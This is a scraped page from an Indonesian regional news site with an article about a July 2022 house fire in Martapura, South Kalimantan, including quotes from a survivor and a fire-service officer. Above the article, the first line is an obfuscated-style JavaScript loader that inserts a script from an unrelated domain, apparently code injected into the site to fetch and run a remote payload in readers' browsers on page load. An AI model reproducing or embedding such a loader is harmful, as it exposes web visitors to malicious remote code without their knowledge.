(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kebakaran kembali terjadi di Kabupaten Banjar, Kalimantan Selatan, Rabu (27/7/2022) sore. Kali ini menimpa warga di Desa Sungai Sipai RT 8 RW 4, Kecamatan Martapura Kota. Diduga kebakaran disebabkan arus pendek listrik.
Amukan si jago merah di kawasan pemukiman padat penduduk ini tidak menimbulkan korban jiwa. Namun menghanguskan dua rumah warga yang dihuni total lebih dari tujuh jiwa.
Di antaranya yang mengalami kerusakan total, yakni rumah yang dihuni Salhah (63) bersama tiga orang anak dan tiga orang cucu beserta dua orang buyutnya. Tak satupun barang yang tersisa, semua ludes terbakar.
Saat kejadian diketahui Salhah bersama semua anggota keluarganya sedang berada di dalam rumah. Tak ada tanda-tanda ledakan maupun lainnya, Salhah hanya melihat api sudah menyelimuti atap rumahnya.
Baca juga : Gubernur Kaltara Ajak Semua Pihak Peduli Perkembangan Anak
“Pas saya sadar itu api besar sudah ke atas, sementara dua orang buyut saya lagi diayunan jadi langsung saya coba amankan anak-anak cucu buyut semua,” ujar Salhah, korban kebakaran di Desa Sungai Sipai Martapura.
Diceritakan Salhah, usai dirinya menyelamatkan anggota keluarganya, ia yang merupakan tulang punggung keluarganya itu pun mencoba masuk kembali ke dalam rumahnya untuk memadamkan api.
“Karena saya cuma punya anak cucu itupun perempuan semua, suami tidak ada lagi dan istilahnya saya sudah jadi tulang punggung keluarga jadi saya di dalam rumah berusaha mencoba memadamkan api, saya siram semuanya,” lanjut Salhah.
Meskipun dirinya sudah berusaha memadamkan dengan seadanya, namun naas kobaran api cepat menguasai seisi rumahnya.
Baca juga : Dishub Banjarmasin Alihkan Arus Dua Arah di Jembatan Sulawesi
Sementara itu dilaporkan salah seorang anggota Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar, Fajar Maulana, api diperkirakan mulai berkobar pukul 15.00 Wita. Saat itu kawasan Banjarbaru dan Martapura pun tengah diguyur hujan dan angin kencang.
Tim pemadam kebakaran sempat kesulitan memadamkan api lantaran guyuran hujan angin kencang yang melanda, ditambah dengan kondisi bangunan rumah yang berbahan kayu.
“Untuk rumah karena sebagian bahan kayu turut menjadi kendala, ditambah saat itu juga sedang hujan dan angin-angin kencangnya,” ujar Fajar, Staff Seksi Sarpras dan Informasi Penyelamatan DPKP Kabupaten Banjar, yang turut berada di lokasi untuk memadamkan api.
Selang 40 menit berlalu, berkat kesigapan petugas akhirnya api berhasil dijinakkan dari rumah sehingga tidak menjalar ke rumah lain yang saling berdampingan.
“Alhamdulillah api berhasil dikuasai yang bantuan puluhan relawan beserta dua unit mobil pemadam dari dinas,” tutup Fajar. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.